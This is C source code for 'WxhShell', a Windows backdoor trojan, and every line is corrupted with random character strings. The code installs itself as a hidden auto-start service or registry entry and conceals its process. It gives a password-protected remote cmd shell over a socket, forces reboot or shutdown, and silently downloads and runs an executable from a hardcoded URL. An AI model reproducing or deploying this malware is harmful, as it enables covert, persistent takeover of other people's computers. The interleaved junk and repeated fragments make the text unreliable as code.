    if(Boot(SHUTDOWN)) G"T\=cQz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uWjN2#&,  
    else { 0GZq`a7[  
    closesocket(wsh); DAdYg0efex  
    ExitThread(0); M;+IZr Wkl  
    } 4KXc~eF[M"  
    break; XphE loL  
    } !:WW  
  // 获取shell [4*1}}gW%5  
  case 's': { J8?2R^;{  
    CmdShell(wsh); n9%]-s\Hn  
    closesocket(wsh); 5t\HJ`C1Z  
    ExitThread(0); u%u&F^y  
    break; _;hf<|c  
  } RRADg^}l|"  
  // 退出 TBCp L]QT  
  case 'x': { w(U:U-MNe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ESTM$k }X  
    CloseIt(wsh); }7ehF6  
    break; VO=!8Yx[  
    } qP3q  
  // 离开 [dB$U}SEj  
  case 'q': { K R,z^9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O0T/#<Cn!  
    closesocket(wsh); ~`qEWvPn  
    WSACleanup(); ^s&W>hTX:  
    exit(1); u%3i0BajY  
    break; 5\bJR0I@  
        } ^C/  
  } !^w E/  
  } x5h~G  
$A2n{  
  // 提示信息 &<3&'*ueW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ve Tx, \6@  
} Y- )x Tn  
  } ${I*nh>=  
+bA%  
  return; J0Z7 l  
} 6cz/n8Mg  
_c`K+o"3  
// shell模块句柄 ?Q0I'RC  
int CmdShell(SOCKET sock) jq-l5})h  
{ zF`3 gl.  
STARTUPINFO si; rf.`h{!!  
ZeroMemory(&si,sizeof(si)); 8)L*AdDAW!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /@"Y^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :"Y*<=x#2  
PROCESS_INFORMATION ProcessInfo; I|9 SiZ0  
char cmdline[]="cmd"; ~g6 3qs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w(9*7pp  
  return 0; ",yc0 2<  
} `JB?c  
q_V0+qH  
// 自身启动模式 PL X>-7@  
int StartFromService(void) =-"c*^$]  
{ nhT-Ido  
typedef struct v+G=E2Lhv  
{ -F@L}|  
  DWORD ExitStatus; aC%&U4OS  
  DWORD PebBaseAddress; @n -r-Q  
  DWORD AffinityMask; t)f-mQz)  
  DWORD BasePriority; S<`I Jpkv  
  ULONG UniqueProcessId; e}hmS1>H  
  ULONG InheritedFromUniqueProcessId; 'n;OB4  
}   PROCESS_BASIC_INFORMATION; )G~w[~  
V5i*O3a~   
PROCNTQSIP NtQueryInformationProcess; 1yQejw  
$q$7^ r@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i/H+xrCK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C0jj(ku&  
}}&#|)Yq  
  HANDLE             hProcess; GZip\S4Y  
  PROCESS_BASIC_INFORMATION pbi; A\fb<  
v{aq`uH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b2,!g }I  
  if(NULL == hInst ) return 0; bD ^b  
:,B7-kBw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qIIJ4n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q GZyL)Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X5LBEOG  
n_?tN\M  
  if (!NtQueryInformationProcess) return 0; _P?s'HH  
vi.w8 >CE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (o5j'2:.  
  if(!hProcess) return 0; QnQOm ""  
U;N:j8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M_g ?<rK  
/D! ;u]  
  CloseHandle(hProcess); M{g%cR0  
*/:uV B,b2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >-8cU_m7s  
if(hProcess==NULL) return 0; 6;'dUGvH  
qz?mh4Oh  
HMODULE hMod; M(x$xAiD  
char procName[255]; b~=0[Rv  
unsigned long cbNeeded; t>=fTkB  
1u3, '8F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rk!X]-`=  
WOzf]3Xcj  
  CloseHandle(hProcess); JjaoOe  
,R%q}IH#  
if(strstr(procName,"services")) return 1; // 以服务启动  ]^'@ [<  
[e[<p\]  
  return 0; // 注册表启动 I9h ?;(  
} $odso;Hn  
LUB${0BrA  
// 主模块 y!tC20Q   
int StartWxhshell(LPSTR lpCmdLine) KlRr8 G!Z  
{ h/?l4iR*  
  SOCKET wsl; ;X*cCb`h   
BOOL val=TRUE; }>)[<;M>%  
  int port=0; wLK07e(  
  struct sockaddr_in door; (e(:P~Ry  
<-D/O$q  
  if(wscfg.ws_autoins) Install(); ^8.]d~j  
YIw1  
port=atoi(lpCmdLine); 9mA{K    
.X# `k  
if(port<=0) port=wscfg.ws_port; ^[:p|U2mA  
1-lu\"H`  
  WSADATA data; nRyU]=-X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i&{DOI%w  
k0Ol*L!p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -f*P nxg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sMu] /'7  
  door.sin_family = AF_INET; O T.*pk+<)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X}+>!%W!}  
  door.sin_port = htons(port); QQWadVQo  
wF((  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PRHCrHs  
closesocket(wsl); Fu!RhsW5j  
return 1; J8mdoVt  
} 89r DyRJ;  
dFKM 8_jH  
  if(listen(wsl,2) == INVALID_SOCKET) { ^0/j0]O  
closesocket(wsl); 0 $,SF3K  
return 1; ZK>WW  
} 5[c^TJ3  
  Wxhshell(wsl); 0PlO(" ,a  
  WSACleanup(); w!fE;H8w6  
/!c${W!sY  
return 0; j4qJ.i  
%Dwk  
} 0#nPbe,Lj  
YW7b)u Yf  
// 以NT服务方式启动 oYukLr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [VE8V-  
{ /`mks1:pK  
DWORD   status = 0; @`gk|W3  
  DWORD   specificError = 0xfffffff; h5(4*$%  
iof-7{+3_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q FAT]{{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N;\'N ne  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l<A|d{"]  
  serviceStatus.dwWin32ExitCode     = 0; j KoG7HH  
  serviceStatus.dwServiceSpecificExitCode = 0; V$ ps>  
  serviceStatus.dwCheckPoint       = 0; Z<vKQ4 G  
  serviceStatus.dwWaitHint       = 0; tCdqh-   
ZpnxecJUJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Za 1QC;7  
  if (hServiceStatusHandle==0) return; r-Pkfy(  
%44leINx  
status = GetLastError(); UEguF &  
  if (status!=NO_ERROR) e J6$-r  
{ q^Y-}=w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'Iw NTM  
    serviceStatus.dwCheckPoint       = 0; <ZNzVnVA  
    serviceStatus.dwWaitHint       = 0; RS8Hf~0G  
    serviceStatus.dwWin32ExitCode     = status; ME*LH r,  
    serviceStatus.dwServiceSpecificExitCode = specificError; zzX_q(:S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b45-:mi!&#  
    return; O6LS(5j2  
  } "hsb8-  
L U={")TdQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JU)dr4S?  
  serviceStatus.dwCheckPoint       = 0; >Z'NXha  
  serviceStatus.dwWaitHint       = 0; hpD!2 K3>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^zQ/mo,Z  
} `Tv[DIVW  
a6uJYhS~  
// 处理NT服务事件,比如:启动、停止 xCc[#0R{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fTK3,s1=  
{ 0 eDHu  
switch(fdwControl) /w}u3|L$  
{ t:'Mh9h7u  
case SERVICE_CONTROL_STOP: De'_SD|=  
  serviceStatus.dwWin32ExitCode = 0; Zg{KFM%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ppVHLrUh  
  serviceStatus.dwCheckPoint   = 0; @X#F3;  
  serviceStatus.dwWaitHint     = 0; zd >t-?g  
  { <nT +$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (2$p{Uf  
  } 2QyV%wz  
  return; Q o{/@  
case SERVICE_CONTROL_PAUSE: "i[@P)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RO'7\xvn  
  break; }E50>g  
case SERVICE_CONTROL_CONTINUE: Na]:_K5Dp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k@k&}N0{  
  break; `T5W}p[6  
case SERVICE_CONTROL_INTERROGATE: SC)g^E#  
  break; 6[ j.@[t  
}; paCV!tP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %z,m B$LY  
} 9 a!$z!.  
x"~8*V'0  
// 标准应用程序主函数 qKr8)}h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o<pf#tifv  
{  +|n*b  
JR@`2YP-  
// 获取操作系统版本 l)1r+@) \  
OsIsNt=GetOsVer(); /rnu<Q#iH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E/|To  
l 3ko?k  
  // 从命令行安装 -z)n?(pftm  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8c9*\S  
_x(o*v[Pt  
  // 下载执行文件 \o*5  
if(wscfg.ws_downexe) { I 8`VNA&b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \Je0CD=e`  
  WinExec(wscfg.ws_filenam,SW_HIDE); Krqtf  
} M_/7D|xl/T  
QI'Oz{vE  
if(!OsIsNt) { "K6&dk jY  
// 如果时win9x,隐藏进程并且设置为注册表启动 iT gt}]L  
HideProc(); MOQ*]fV:  
StartWxhshell(lpCmdLine); d928~y W  
} \ `~Ly-  
else }v}P .P  
  if(StartFromService()) R;&AijS8  
  // 以服务方式启动 rWa2pO  
  StartServiceCtrlDispatcher(DispatchTable); !Qu"BF   
else 9PXFRxGA  
  // 普通方式启动 N8F~8lTi  
  StartWxhshell(lpCmdLine); IP xiV]c  
r*2+xDoEi  
return 0; )r xX+k+b/  
} I9_RlAd  
D#cyOrzy  
RzE_K'M  
lb4Pcd j  
=========================================== ~ =M7 3U#  
+hg3I8q:  
. qO@Q=  
2_HNhW  
B~MU^ |v  
n8~N$tDU  
" +" .X )avF  
!Xf5e*1IS  
#include <stdio.h> [=6]+V83M  
#include <string.h> y\4L{GlBM  
#include <windows.h> s~ a"4~f  
#include <winsock2.h> _.tVSV p  
#include <winsvc.h> =_JjmTy;a  
#include <urlmon.h> #+ 0M2Sa  
LM~[@_j  
#pragma comment (lib, "Ws2_32.lib") |W,& Hl7  
#pragma comment (lib, "urlmon.lib") *+Ek0M  
,w<S|#W~+  
#define MAX_USER   100 // 最大客户端连接数 md)c0Bg8~  
#define BUF_SOCK   200 // sock buffer bh,[ 3X%  
#define KEY_BUFF   255 // 输入 buffer 4tRYw0f47  
k]F[>26k  
#define REBOOT     0   // 重启 h \fjBDU^  
#define SHUTDOWN   1   // 关机 ^ Edfv5  
X5zDpi|Dq  
#define DEF_PORT   5000 // 监听端口 I8hz(2jI  
Aza /6OL  
#define REG_LEN     16   // 注册表键长度 sBj(Qd  
#define SVC_LEN     80   // NT服务名长度 yj 3cyLXw  
5d Eh7XL  
// 从dll定义API SYAyk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pr':51(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a!6{:8Zi0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); deBY5|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wN_Vfb  
9UdM`v)(  
// wxhshell配置信息 rK'L6o  
struct WSCFG { EH+"~-v)ae  
  int ws_port;         // 监听端口 u^@f&BIG]:  
  char ws_passstr[REG_LEN]; // 口令 }eCw6  
  int ws_autoins;       // 安装标记, 1=yes 0=no H%qsjB^  
  char ws_regname[REG_LEN]; // 注册表键名 '\l"   
  char ws_svcname[REG_LEN]; // 服务名 "jeb%k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qp)v?k ]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vz~{UHH6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?8npG]L)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tU}h~&M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UdT *E: 6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %a>&5V  
Si2k"<5 U  
}; l%k\JY-  
7OcW C-<  
// default Wxhshell configuration q<xCb%#Jl  
struct WSCFG wscfg={DEF_PORT, [%"|G9  
    "xuhuanlingzhe", }"nItcp.1  
    1, YqhAZp<  
    "Wxhshell", x|/|jzJSX  
    "Wxhshell", >N^Jj:~l  
            "WxhShell Service", $ Xv*,Bq  
    "Wrsky Windows CmdShell Service", a#cCpE  
    "Please Input Your Password: ", k3lS8d7  
  1, bn|I> e  
  "http://www.wrsky.com/wxhshell.exe", F&4rO\aC"/  
  "Wxhshell.exe" L*Tj^q!t+  
    }; 27eooY1  
Ci@o|Y }tP  
// 消息定义模块 MK%9:wZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ity & v 9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <T` 7%$/E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; faE t6  
char *msg_ws_ext="\n\rExit."; Go5J%&E9  
char *msg_ws_end="\n\rQuit."; TH%Qhv\]  
char *msg_ws_boot="\n\rReboot..."; 0IsPIi"7  
char *msg_ws_poff="\n\rShutdown..."; .?8;qA  
char *msg_ws_down="\n\rSave to "; wcrCEX=I>{  
Q:2>}QgX}  
char *msg_ws_err="\n\rErr!"; /C:Y94B-z  
char *msg_ws_ok="\n\rOK!"; LC,F <>w1  
b o6d)Q  
char ExeFile[MAX_PATH]; zU5v /'h>d  
int nUser = 0; qzYwt]GNS  
HANDLE handles[MAX_USER]; (ZS}G8  
int OsIsNt; ]FJjgu<  
2,DXc30I  
SERVICE_STATUS       serviceStatus; lp.ldajN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x>**;#7)  
Kfbb)?  
// 函数声明 u(z$fG:g  
int Install(void); qk%;on&`  
int Uninstall(void); C8J[Up  
int DownloadFile(char *sURL, SOCKET wsh); {c6=<Kv  
int Boot(int flag); `!ob GMTQ<  
void HideProc(void); }s7$7  
int GetOsVer(void); hr#M-K  
int Wxhshell(SOCKET wsl); {BP{C=p  
void TalkWithClient(void *cs); "M<8UE\n  
int CmdShell(SOCKET sock); d`QN^)F0#  
int StartFromService(void); -R|,9o^  
int StartWxhshell(LPSTR lpCmdLine); 6hno)kd{=  
;"a=gr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AFq~QXmr)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M1k{t%M+S  
DwM)r7<Ex  
// 数据结构和表定义 U\g/2dM  
SERVICE_TABLE_ENTRY DispatchTable[] = F6|TP.VY_.  
{ 4GkWRu1  
{wscfg.ws_svcname, NTServiceMain}, ew>XrT=Zm  
{NULL, NULL} ()Y~Q(5ji  
}; z 9vInf@M  
vk}n,ecl  
// 自我安装 OSRp0G20k\  
int Install(void) dcDyK!zz"  
{ hCi60%g/n  
  char svExeFile[MAX_PATH]; _zR+i]9   
  HKEY key; h1j!IG  
  strcpy(svExeFile,ExeFile); ty8q11[8  
tZ]?^_Y1  
// 如果是win9x系统,修改注册表设为自启动 / kF)  
if(!OsIsNt) { 8V~k5#&Ow  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cz9xZA{[M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,kyJAju>  
  RegCloseKey(key); $jjfC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [8Y:65  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _'#n6^Us<  
  RegCloseKey(key); ayn)5q/z  
  return 0; :">!r.Q  
    } BOX{]EOj  
  } T(#J_Y  
} NpE*fR')  
else { IB(6+n,6s  
d?y4GkK  
// 如果是NT以上系统,安装为系统服务 zG }@0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?qmRbDI  
if (schSCManager!=0) "H=6j)Cb  
{ Lz |? ek7Q  
  SC_HANDLE schService = CreateService 1XrO~W\=  
  ( &yct!YOB2  
  schSCManager, _?-E7:Sw  
  wscfg.ws_svcname, LGq'WU31:)  
  wscfg.ws_svcdisp, DF&(8NoX~  
  SERVICE_ALL_ACCESS, J! AgBF N4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I&fozO   
  SERVICE_AUTO_START, U&g@.,Y#  
  SERVICE_ERROR_NORMAL, a[>/h3  
  svExeFile, Q0)#8Rcm  
  NULL, oTEL?hw5  
  NULL, 4svBzZdr  
  NULL, HCIU!4rH  
  NULL, |hKDvH  
  NULL 7!$Q;A  
  ); WQx?[tW(U  
  if (schService!=0) c/:b.>W  
  { ~Zun&b)S  
  CloseServiceHandle(schService); /74QMx?  
  CloseServiceHandle(schSCManager); 0%32=k7O[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /,BD#|  
  strcat(svExeFile,wscfg.ws_svcname); ^a/gBC82x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]MqMQLG0t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6, ^>mNm  
  RegCloseKey(key); ] vz%iv_  
  return 0; l^! ?@Kg,z  
    } 5us:adm[pD  
  } X@--m6-  
  CloseServiceHandle(schSCManager); ^3G{|JB!+  
} kYM~d07 V  
} HSw;^E)1  
2% MC Yn  
return 1; FVMD>=k  
} /{EP*,/*  
E`kG-Q5Dw  
// 自我卸载 P:hBt\5B  
int Uninstall(void) U2ohHJ``  
{ 6gkV*|U,e  
  HKEY key; /?wtF4  
nyX2|m&  
if(!OsIsNt) { OstQqV%@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GiJ *Wp  
  RegDeleteValue(key,wscfg.ws_regname); Oz w.siD  
  RegCloseKey(key); O+nEXS\rQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jkQ*D(;p  
  RegDeleteValue(key,wscfg.ws_regname); t^UxR@l<K|  
  RegCloseKey(key); ud63f` W]4  
  return 0; jqz ux[6{  
  } pD8+ 4;A  
} ~jWn4 \  
} `A,-@`p  
else { #{6{TFx\  
 Z< 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rbul8(1h  
if (schSCManager!=0) Z@yW bjE7Z  
{ ]dF ,:8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9G9t" {  
  if (schService!=0) ?L x24*5%  
  { .zr-:L5{  
  if(DeleteService(schService)!=0) { d}OTO10  
  CloseServiceHandle(schService); , xw#NG6  
  CloseServiceHandle(schSCManager); dydc}n  
  return 0; .fn \]rUv  
  } !({}(!P .  
  CloseServiceHandle(schService); T5|q RlW  
  } biLs+\C  
  CloseServiceHandle(schSCManager); Z EQ@IS:Y  
} Vk` h2BV  
} mJ<=n?{Z  
Qu"8(Jk/  
return 1; :)8VdWg  
} _aq 8@E~  
j SHk{T!J  
// 从指定url下载文件 .L+6 $8m  
int DownloadFile(char *sURL, SOCKET wsh) ?#Ge.D~u  
{ x" 7H5<  
  HRESULT hr; y3vdUauOn  
char seps[]= "/"; !:)s"|=  
char *token; J.3u^~zy  
char *file; <3L5"77G 6  
char myURL[MAX_PATH]; bs+f,j-oBN  
char myFILE[MAX_PATH]; S};#+ufgTt  
SbcS]H5Sk  
strcpy(myURL,sURL); Ih@61>X.o*  
  token=strtok(myURL,seps); !d'GE`w T  
  while(token!=NULL) D,FHZD t  
  { 2Zm0qJ  
    file=token; 87=&^.~`  
  token=strtok(NULL,seps); +|*IZ:w)  
  } <:_wbVn-  
1kz\IQ{  
GetCurrentDirectory(MAX_PATH,myFILE); ,t3wp#E2#  
strcat(myFILE, "\\"); G%BjhpL  
strcat(myFILE, file); bjyZk_\  
  send(wsh,myFILE,strlen(myFILE),0); GL&y@6  
send(wsh,"...",3,0); K:J3Z5"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5b5x!do  
  if(hr==S_OK) |Yx~;q:  
return 0; +u.1 ;qF  
else P=qa::A  
return 1; >3ZFzh&OYQ  
f}6s Q5  
} rDl*d`He!  
qjwxhabc  
// 系统电源模块 eFipIn)b  
int Boot(int flag) bT</3>+C  
{ /Jta^Bj  
  HANDLE hToken; .nTwPrG  
  TOKEN_PRIVILEGES tkp; \-L&5x"x  
u^&A W$  
  if(OsIsNt) { q~ tz? T_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r=Gks=NX"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oL-]3TY~  
    tkp.PrivilegeCount = 1; Y=%tn8<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MvuQz7M#d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); % BVs47g  
if(flag==REBOOT) { ysJQb~2q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >u>5{4  
  return 0; )S3\,S-.  
} "Hya6k>j  
else { K'55O&2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &]V.S7LC #  
  return 0; 5]~'_V  
} 3^IpE];+:u  
  } czA5n  
  else { Y5f1lUT  
if(flag==REBOOT) { Ha(c'\T (\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LuNc, n%  
  return 0; lyIl-!|  
} |pm7_[  
else { gGvz(R: y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c*(bO3 b  
  return 0; J\/cCW-rF  
} w&X<5'GM  
} *,3SGcYdJj  
J{'>uD.@  
return 1; 3?[dE<  
} u&1q [0y  
uya.sF0]9B  
// win9x进程隐藏模块 ;l4[%xld  
void HideProc(void) #G .ulX  
{ _|iSF2f,X  
KmMzH`t}`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wi;Br[d  
  if ( hKernel != NULL ) 6{x(.=  
  { ,kF1T,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]"J~:{, d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rk&IlAE  
    FreeLibrary(hKernel); N6>(;ugJ1-  
  } wL;l Q&  
"*($cQ$v  
return; )n+Lo&C<  
} E4xj?m^(y=  
|P[w==AAf  
// 获取操作系统版本 ,eOB(?Ku  
int GetOsVer(void) .)RzT9sg  
{ vo`2\R.  
  OSVERSIONINFO winfo; 05z,b]>l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uPhK3nCGo  
  GetVersionEx(&winfo); t,,k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6tXq:  
  return 1; -!q :p&c  
  else x8wD0D  
  return 0; BZ:H`M`n  
} +s(HOq)b  
4 K!JQ|9  
// 客户端句柄模块 r) HHwh{9  
int Wxhshell(SOCKET wsl) LISM ngQ.  
{ ./,/y"x  
  SOCKET wsh; lm!.W5-l  
  struct sockaddr_in client; qo p^;~  
  DWORD myID; ,ek_R)&[o  
D6%J\C13`  
  while(nUser<MAX_USER) c0PIc^R(@  
{ |*:'TKzNS  
  int nSize=sizeof(client); TX$r `~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JM=JH 51`  
  if(wsh==INVALID_SOCKET) return 1; GYJ80k|  
MJOz.=CbhR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *#E F sUw  
if(handles[nUser]==0) cU;iUf  
  closesocket(wsh); }M1`di4e  
else (mgS"zPS  
  nUser++; |y&*MTfV4L  
  } Z8zmHc"IH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]or>?{4g  
e^d0zl{  
  return 0; Ai:BEPKe  
} &Nj3h(Ll  
@HQ`~C#Z'  
// 关闭 socket )#P; x "  
void CloseIt(SOCKET wsh) {wO3<9  
{ L0* nm.1X  
closesocket(wsh); u\ #"L  
nUser--; wLmhy,  
ExitThread(0); "7!;KHc  
} 5Y.vJz  
1xD=ffM>8N  
// 客户端请求句柄 WfWN(:dF  
void TalkWithClient(void *cs) qC}-_u7s  
{ 'h/CoTk@,  
21 O'M  
  SOCKET wsh=(SOCKET)cs; )\_:{c  
  char pwd[SVC_LEN]; |kw)KEi}H  
  char cmd[KEY_BUFF]; g}f`,r9  
char chr[1]; P\w\N2  
int i,j; PUF/#ck  
s~>d:'k7|  
  while (nUser < MAX_USER) { 9F4Dm*_<  
whpfJNz  
if(wscfg.ws_passstr) { xgpi-l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T,]7ICF#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "B =  
  //ZeroMemory(pwd,KEY_BUFF); }!;s.[y  
      i=0; ?3%` bY+3;  
  while(i<SVC_LEN) { #cnq(S=.  
&QDW9 Mi  
  // 设置超时 [onGNq?#  
  fd_set FdRead; iMIlZ  
  struct timeval TimeOut; fIj|4a+  
  FD_ZERO(&FdRead); [ JpKSTg[  
  FD_SET(wsh,&FdRead); `&KwtvkdI  
  TimeOut.tv_sec=8; vY%d   
  TimeOut.tv_usec=0; 9{-EJ)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vWRju*Z&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]F;f`o  
o=21|z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qp/v^$EA  
  pwd=chr[0]; BnCbon)  
  if(chr[0]==0xd || chr[0]==0xa) { .C&ktU4  
  pwd=0; CZ(/=3,3n  
  break; 5"HV BfFk  
  } "ul {d(K3  
  i++; ]3VI|f$$  
    } <1FC%f/  
E0u~i59Z  
  // 如果是非法用户,关闭 socket D[^m{ 9_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5!l0zLQP o  
} hvA^n@nr  
&z>e5_.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /wP@2ADB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L%Ow#.[C2  
W.dt:_  
while(1) { Rn{iaM2Y<  
: y5<go8e  
  ZeroMemory(cmd,KEY_BUFF); kBYNf =  
Hj:r[/  
      // 自动支持客户端 telnet标准   oN{Z+T :  
  j=0; O) WCW<p  
  while(j<KEY_BUFF) { XLAN Np%E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FP;Ccl"s  
  cmd[j]=chr[0]; s0DGC  
  if(chr[0]==0xa || chr[0]==0xd) { jJuW-(/4[  
  cmd[j]=0; Q.]}]QE   
  break; c8L~S/t  
  } %7"X(Ts7B  
  j++; cJ1#ge%4  
    } 31rx-D8o  
wm)#[x #  
  // 下载文件 bKrhIU[  
  if(strstr(cmd,"http://")) { D+]a.& {p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cgm81+[%r  
  if(DownloadFile(cmd,wsh)) Fb7#<h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TQx.KM>y  
  else IG|X!l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o3I Tr';  
  } }RHn)}+  
